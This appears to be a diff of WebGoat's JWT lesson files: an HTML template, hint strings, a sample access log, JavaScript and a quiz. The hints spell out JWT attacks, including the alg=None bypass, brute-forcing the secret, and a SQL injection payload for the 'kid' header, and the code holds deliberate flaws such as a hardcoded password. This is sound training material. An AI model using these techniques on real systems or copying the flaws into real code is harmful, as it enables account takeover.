<div class="row">
|
||||
|
||||
<div class="well">
|
||||
<div class="pull-right">
|
||||
<div class="dropdown">
|
||||
<button type="button" data-toggle="dropdown" class="btn btn-default dropdown-toggle"
|
||||
title="Change user">
|
||||
<i class="fa fa-user"></i> <span class="caret"></span>
|
||||
</button>
|
||||
<ul class="dropdown-menu dropdown-menu-left">
|
||||
<li role="presentation"><a data-toggle="dropdown" role="menuitem" tabindex="-1"
|
||||
onclick="javascript:loginVotes('Guest')"
|
||||
th:text="Guest">current</a></li>
|
||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
||||
onclick="javascript:loginVotes('Tom')"
|
||||
th:text="Tom">current</a></li>
|
||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
||||
onclick="javascript:loginVotes('Jerry')"
|
||||
th:text="Jerry">current</a></li>
|
||||
<li role="presentation"><a role="menuitem" tabindex="-1"
|
||||
onclick="javascript:loginVotes('Sylvester')"
|
||||
th:text="Sylvester">current</a></li>
|
||||
</ul>
|
||||
<button type="button" class="btn btn-default fa fa-refresh" title="Refresh votes"
|
||||
onclick="javascript:getVotings()"/>
|
||||
<button type="submit" class="btn btn-default fa fa-trash-o" title="Reset votes"/>
|
||||
</div>
|
||||
<div>
|
||||
<p class="text-right">Welcome back, <b><span id="name"></span></b></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h3>Vote for your favorite</h3>
|
||||
</div>
|
||||
<div id="votesList" class="list-group">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_signing_solution.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<span id="quiz_id" data-quiz_id="jwt"></span>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/quiz.css}"/>
|
||||
<script th:src="@{/js/quiz.js}" language="JavaScript"></script>
|
||||
<link rel="import" type="application/json" th:href="@{/lesson_js/questions_jwt.json}"/>
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_libraries_assignment.adoc"></div>
|
||||
<div class="attack-container">
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<div class="container-fluid">
|
||||
<form id="quiz-form" class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
action="/WebGoat/JWT/quiz"
|
||||
role="form">
|
||||
<div id="q_container"></div>
|
||||
<br/>
|
||||
<input name="Quiz_solutions" value="Submit answers" type="SUBMIT"/>
|
||||
</form>
|
||||
</div>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_libraries_assignment2.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_libraries_solution.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_weak_keys"></div>
|
||||
<script th:src="@{/lesson_js/jwt-weak-keys.js}" language="JavaScript"></script>
|
||||
<pre id="secrettoken"></pre>
|
||||
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" method="POST" name="form" action="/WebGoat/JWT/secret">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||
style="font-size:20px"></i></div>
|
||||
<input type="text" class="form-control" id="flag" name="token"
|
||||
placeholder="XXX.YYY.ZZZ"/>
|
||||
</div>
|
||||
<div class="input-group" style="margin-top: 10px">
|
||||
<button type="submit" class="btn btn-primary">Submit token</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_refresh.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_refresh_assignment.adoc"></div>
|
||||
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
|
||||
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
|
||||
<script th:src="@{/lesson_js/jwt-buy.js}" language="JavaScript"></script>
|
||||
<script th:src="@{/lesson_js/jwt-refresh.js}" language="JavaScript"></script>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST"
|
||||
additionalHeaders="addBearerToken"
|
||||
action="/WebGoat/JWT/refresh/checkout">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-sm-12 col-md-10 col-md-offset-1">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Product</th>
|
||||
<th>Quantity</th>
|
||||
<th class="text-center">Price</th>
|
||||
<th class="text-center">Total</th>
|
||||
<th> </th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="col-sm-8 col-md-6">
|
||||
<div class="media">
|
||||
<img class="media-object" th:src="@{/images/product-icon.png}"
|
||||
style="width: 72px; height: 72px;"></img>
|
||||
<div class="media-body">
|
||||
<h4 class="media-heading"><a href="#">Learn to defend your application with
|
||||
WebGoat</a></h4>
|
||||
<h5 class="media-heading"> by <a href="#">WebGoat Publishing</a></h5>
|
||||
<span>Status: </span><span
|
||||
class="text-success"><strong>In Stock</strong></span>
|
||||
</div>
|
||||
</div>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1" style="text-align: center">
|
||||
<input type="text" class="form-control" id="quantity1" value="3"></input>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong>$
|
||||
<span id="piecePrice1">4.87</span></strong>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong>$<span
|
||||
id="totalPrice1">14.61</span></strong></td>
|
||||
<td class="col-sm-1 col-md-1">
|
||||
<button type="button" class="btn btn-danger">
|
||||
<span class="glyphicon glyphicon-remove"></span> Remove
|
||||
</button>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="col-md-6">
|
||||
<div class="media">
|
||||
<img class="media-object"
|
||||
th:src="@{/images/product-icon.png}"
|
||||
style="width: 72px; height: 72px;"></img>
|
||||
<div class="media-body">
|
||||
<h4 class="media-heading"><a href="#">Pentesting for professionals</a></h4>
|
||||
<h5 class="media-heading"> by <a href="#">WebWolf Publishing</a></h5>
|
||||
<span>Status: </span><span class="text-warning"><strong>Leaves warehouse in 2 - 3 weeks</strong></span>
|
||||
</div>
|
||||
</div>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1" style="text-align: center">
|
||||
<input type="text" class="form-control" id="quantity2" value="2"></input>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong>$<span
|
||||
id="piecePrice2">4.99</span></strong>
|
||||
</td>
|
||||
<td class="col-sm-1 col-md-1 text-center"><strong>$<span
|
||||
id="totalPrice2">9.98</span></strong></td>
|
||||
<td class="col-md-1">
|
||||
<button type="button" class="btn btn-danger">
|
||||
<span class="glyphicon glyphicon-remove"></span> Remove
|
||||
</button>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
<tfoot>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td><h5>Subtotal<br></br>Estimated shipping</h5>
|
||||
<h3>Total</h3></td>
|
||||
<td class="text-right"><h5><strong>$<span
|
||||
id="subtotalJwt">24.59</span><br></br>$6.94</strong></h5>
|
||||
<h3>$<span id="totalJwt">31.53</span></h3></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
<td>
|
||||
<button type="button" class="btn btn-default">
|
||||
<span class="glyphicon glyphicon-shopping-cart"></span> Continue Shopping
|
||||
</button>
|
||||
</td>
|
||||
<td>
|
||||
<button type="submit" class="btn btn-success">
|
||||
Checkout <span class="glyphicon glyphicon-play"></span>
|
||||
</button>
|
||||
</td>
|
||||
</tr>
|
||||
</tfoot>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_final.adoc"></div>
|
||||
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
|
||||
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST"
|
||||
action="/WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8">
|
||||
<div class="container-fluid">
|
||||
<div id="toast"></div>
|
||||
<div class="col-sm-6 col-md-4 col-lg-3 mt-4">
|
||||
<div class="card card-inverse card-info">
|
||||
<img th:src="@{/images/jerry.png}" class="card-img-top"></img>
|
||||
<div class="card-block">
|
||||
<figure class="profile profile-inline">
|
||||
<img th:src="@{/images/jerry.png}" class="profile-avatar" alt=""></img>
|
||||
</figure>
|
||||
<h4 class="card-title">Jerry</h4>
|
||||
<div class="card-text">
|
||||
Jerry is a small, brown, house mouse.
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-footer">
|
||||
<small>Last updated 12 minutes ago</small>
|
||||
<button class="btn btn-info float-right btn-sm">Delete</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-6 col-md-4 col-lg-3 mt-4">
|
||||
<div class="card card-inverse card-info">
|
||||
<img th:src="@{/images/tom.png}" class="card-img-top"></img>
|
||||
<div class="card-block">
|
||||
<figure class="profile profile-inline">
|
||||
<img th:src="@{/images/tom.png}" class="profile-avatar" alt=""></img>
|
||||
</figure>
|
||||
<h4 class="card-title">Tom</h4>
|
||||
<div class="card-text">
|
||||
Tom is a grey and white domestic short hair cat.
|
||||
</div>
|
||||
</div>
|
||||
<div class="card-footer">
|
||||
<small>Last updated 12 days ago</small>
|
||||
<button type="button" class="btn btn-info float-right btn-sm"
|
||||
onclick="javascript:follow('Tom')">Follow
|
||||
</button>
|
||||
<button class="btn btn-info float-right btn-sm">Delete</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:lessons/jwt/documentation/JWT_mitigation.adoc"></div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
33
src/main/resources/lessons/jwt/i18n/WebGoatLabels.properties
Normal file
@ -0,0 +1,33 @@
|
||||
jwt.title=JWT tokens
|
||||
|
||||
#Assignment changing tokens
|
||||
jwt-user=You are logged in as {0}, but you are not an admin yet, please try again
|
||||
jwt-invalid-token=Not a valid JWT token, please try again
|
||||
jwt-only-admin=Only an admin user can reset the votes
|
||||
jwt-change-token-hint1=Select a different user and look at the token you receive back, use the delete button to reset the votes count
|
||||
jwt-change-token-hint2=Decode the token and look at the contents
|
||||
jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes
|
||||
jwt-change-token-hint4=Change the admin field to true in the token
|
||||
jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature
|
||||
|
||||
jwt-secret-hint1=Save the token and try to verify the token locally
|
||||
jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english)
|
||||
jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list
|
||||
jwt-secret-claims-missing=You are missing some claims, you should keep all the claims in the token
|
||||
jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat
|
||||
|
||||
jwt-refresh-hint1=Look at the access log you will find a token there
|
||||
jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it?
|
||||
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
|
||||
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
|
||||
jwt-refresh-not-tom=User is not Tom but {0}, please try again
|
||||
|
||||
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
|
||||
jwt-final-not-tom=Username is not Tom try to pass a token for Tom
|
||||
|
||||
jwt-final-hint1=Take a look at the token and specifically and the header
|
||||
jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS
|
||||
jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database
|
||||
jwt-final-hint4=The key is stored in the database and loaded while verifying a token
|
||||
jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
|
||||
jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token
|
BIN
src/main/resources/lessons/jwt/images/challenge1-small.png
Normal file
After Width: | Height: | Size: 11 KiB |
BIN
src/main/resources/lessons/jwt/images/challenge2-small.png
Normal file
After Width: | Height: | Size: 34 KiB |
BIN
src/main/resources/lessons/jwt/images/challenge3-small.png
Normal file
After Width: | Height: | Size: 58 KiB |
BIN
src/main/resources/lessons/jwt/images/challenge4-small.png
Normal file
After Width: | Height: | Size: 4.3 KiB |
BIN
src/main/resources/lessons/jwt/images/challenge5-small.png
Normal file
After Width: | Height: | Size: 17 KiB |
BIN
src/main/resources/lessons/jwt/images/jerry.png
Normal file
After Width: | Height: | Size: 100 KiB |
BIN
src/main/resources/lessons/jwt/images/jwt_diagram.png
Normal file
After Width: | Height: | Size: 80 KiB |
BIN
src/main/resources/lessons/jwt/images/jwt_token.png
Normal file
After Width: | Height: | Size: 72 KiB |
6
src/main/resources/lessons/jwt/images/logs.txt
Normal file
@ -0,0 +1,6 @@
|
||||
|
||||
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
|
||||
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
|
||||
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
|
||||
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
|
||||
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
|
BIN
src/main/resources/lessons/jwt/images/product-icon.png
Normal file
After Width: | Height: | Size: 2.5 KiB |
BIN
src/main/resources/lessons/jwt/images/tom.png
Normal file
After Width: | Height: | Size: 217 KiB |
36
src/main/resources/lessons/jwt/js/jwt-buy.js
Normal file
@ -0,0 +1,36 @@
|
||||
$(document).ready(function () {
|
||||
$("#quantity1").on("blur", function () {
|
||||
var quantity = $("#quantity1").val();
|
||||
if (!$.isNumeric(quantity) || quantity < 0) {
|
||||
$("#quantity1").val("1");
|
||||
quantity = 1;
|
||||
}
|
||||
var piecePrice = $("#piecePrice1").text();
|
||||
$('#totalPrice1').text((quantity * piecePrice).toFixed(2));
|
||||
updateTotal();
|
||||
});
|
||||
$("#quantity2").on("blur", function () {
|
||||
var quantity = $("#quantity2").val();
|
||||
if (!$.isNumeric(quantity) || quantity < 0) {
|
||||
$("#quantity2").val("1");
|
||||
quantity = 1;
|
||||
}
|
||||
var piecePrice = $("#piecePrice2").text();
|
||||
$('#totalPrice2').text((quantity * piecePrice).toFixed(2));
|
||||
updateTotal();
|
||||
})
|
||||
})
|
||||
|
||||
function updateTotal() {
|
||||
var price1 = parseFloat($('#totalPrice1').text());
|
||||
var price2 = parseFloat($('#totalPrice2').text());
|
||||
var subTotal = price1 + price2;
|
||||
$('#subtotalJwt').text(subTotal.toFixed(2));
|
||||
var total = subTotal + 6.94;
|
||||
$('#totalJwt').text(total.toFixed(2));
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
9
src/main/resources/lessons/jwt/js/jwt-final.js
Normal file
@ -0,0 +1,9 @@
|
||||
function follow(user) {
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: 'JWT/final/follow/' + user
|
||||
}).then(function (result) {
|
||||
$("#toast").append(result);
|
||||
})
|
||||
}
|
||||
|
42
src/main/resources/lessons/jwt/js/jwt-refresh.js
Normal file
@ -0,0 +1,42 @@
|
||||
$(document).ready(function () {
|
||||
login('Jerry');
|
||||
})
|
||||
|
||||
function login(user) {
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: 'JWT/refresh/login',
|
||||
contentType: "application/json",
|
||||
data: JSON.stringify({user: user, password: "bm5nhSkxCXZkKRy4"})
|
||||
}).success(
|
||||
function (response) {
|
||||
localStorage.setItem('access_token', response['access_token']);
|
||||
localStorage.setItem('refresh_token', response['refresh_token']);
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
//Dev comment: Pass token as header as we had an issue with tokens ending up in the access_log
|
||||
webgoat.customjs.addBearerToken = function () {
|
||||
var headers_to_set = {};
|
||||
headers_to_set['Authorization'] = 'Bearer ' + localStorage.getItem('access_token');
|
||||
return headers_to_set;
|
||||
}
|
||||
|
||||
//Dev comment: Temporarily disabled from page we need to work out the refresh token flow but for now we can go live with the checkout page
|
||||
function newToken() {
|
||||
localStorage.getItem('refreshToken');
|
||||
$.ajax({
|
||||
headers: {
|
||||
'Authorization': 'Bearer ' + localStorage.getItem('access_token')
|
||||
},
|
||||
type: 'POST',
|
||||
url: 'JWT/refresh/newToken',
|
||||
data: JSON.stringify({refreshToken: localStorage.getItem('refresh_token')})
|
||||
}).success(
|
||||
function () {
|
||||
localStorage.setItem('access_token', apiToken);
|
||||
localStorage.setItem('refresh_token', refreshToken);
|
||||
}
|
||||
)
|
||||
}
|
87
src/main/resources/lessons/jwt/js/jwt-voting.js
Normal file
@ -0,0 +1,87 @@
|
||||
$(document).ready(function () {
|
||||
loginVotes('Guest');
|
||||
})
|
||||
|
||||
function loginVotes(user) {
|
||||
$("#name").text(user);
|
||||
$.ajax({
|
||||
url: 'JWT/votings/login?user=' + user,
|
||||
contentType: "application/json"
|
||||
}).always(function () {
|
||||
getVotings();
|
||||
})
|
||||
}
|
||||
|
||||
var html = '<a href="#" class="list-group-item ACTIVE">' +
|
||||
'<div class="media col-md-3">' +
|
||||
'<figure> ' +
|
||||
'<img class="media-object img-rounded" src="images/IMAGE_SMALL" alt="placehold.it/350x250"/>' +
|
||||
'</figure>' +
|
||||
'</div> ' +
|
||||
'<div class="col-md-6">' +
|
||||
'<h4 class="list-group-item-heading">TITLE</h4>' +
|
||||
'<p class="list-group-item-text">INFORMATION</p>' +
|
||||
'</div>' +
|
||||
'<div class="col-md-3 text-center">' +
|
||||
'<h2 HIDDEN_VIEW_VOTES>NO_VOTES' +
|
||||
'<small HIDDEN_VIEW_VOTES> votes</small>' +
|
||||
'</h2>' +
|
||||
'<button type="button" id="TITLE" class="btn BUTTON btn-lg btn-block" onclick="vote(this.id)">Vote Now!</button>' +
|
||||
'<div style="visibility:HIDDEN_VIEW_RATING;" class="stars"> ' +
|
||||
'<span class="glyphicon glyphicon-star"></span>' +
|
||||
'<span class="glyphicon glyphicon-star"></span>' +
|
||||
'<span class="glyphicon glyphicon-star"></span>' +
|
||||
'<span class="glyphicon glyphicon-star-empty"></span>' +
|
||||
'</div>' +
|
||||
'<p HIDDEN_VIEW_RATING>Average AVERAGE<small> /</small>4</p>' +
|
||||
'</div>' +
|
||||
'<div class="clearfix"></div>' +
|
||||
'</a>';
|
||||
|
||||
function getVotings() {
|
||||
$("#votesList").empty();
|
||||
$.get("JWT/votings", function (result, status) {
|
||||
for (var i = 0; i < result.length; i++) {
|
||||
var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall);
|
||||
if (i === 0) {
|
||||
voteTemplate = voteTemplate.replace('ACTIVE', 'active');
|
||||
voteTemplate = voteTemplate.replace('BUTTON', 'btn-default');
|
||||
} else {
|
||||
voteTemplate = voteTemplate.replace('ACTIVE', '');
|
||||
voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary');
|
||||
}
|
||||
voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title);
|
||||
voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || '');
|
||||
voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || '');
|
||||
voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || '');
|
||||
|
||||
var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : '');
|
||||
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden);
|
||||
hidden = (result[i].average === undefined ? 'hidden' : '');
|
||||
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden);
|
||||
|
||||
$("#votesList").append(voteTemplate);
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
webgoat.customjs.jwtSigningCallback = function () {
|
||||
getVotings();
|
||||
}
|
||||
|
||||
function vote(title) {
|
||||
var user = $("#name").text();
|
||||
if (user === 'Guest') {
|
||||
alert("As a guest you are not allowed to vote, please login first.")
|
||||
} else {
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: 'JWT/votings/' + title
|
||||
}).then(
|
||||
function () {
|
||||
getVotings();
|
||||
}
|
||||
)
|
||||
}
|
||||
}
|
||||
|
5
src/main/resources/lessons/jwt/js/jwt-weak-keys.js
Normal file
@ -0,0 +1,5 @@
|
||||
$(document).ready(
|
||||
function(){
|
||||
$("#secrettoken").load('/WebGoat/JWT/secret/gettoken');
|
||||
}
|
||||
);
|
20
src/main/resources/lessons/jwt/js/questions_jwt.json
Normal file
@ -0,0 +1,20 @@
|
||||
{
|
||||
"questions": [
|
||||
{
|
||||
"text": "What is the result of the first code snippet?",
|
||||
"solutions": {
|
||||
"1": "Throws an exception in line 12",
|
||||
"2": "Invoked the method removeAllUsers at line 7",
|
||||
"3": "Logs an error in line 9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"text": "What is the result of the second code snippet?",
|
||||
"solutions": {
|
||||
"1": "Throws an exception in line 12",
|
||||
"2": "Invoked the method removeAllUsers at line 7",
|
||||
"3": "Logs an error in line 9"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|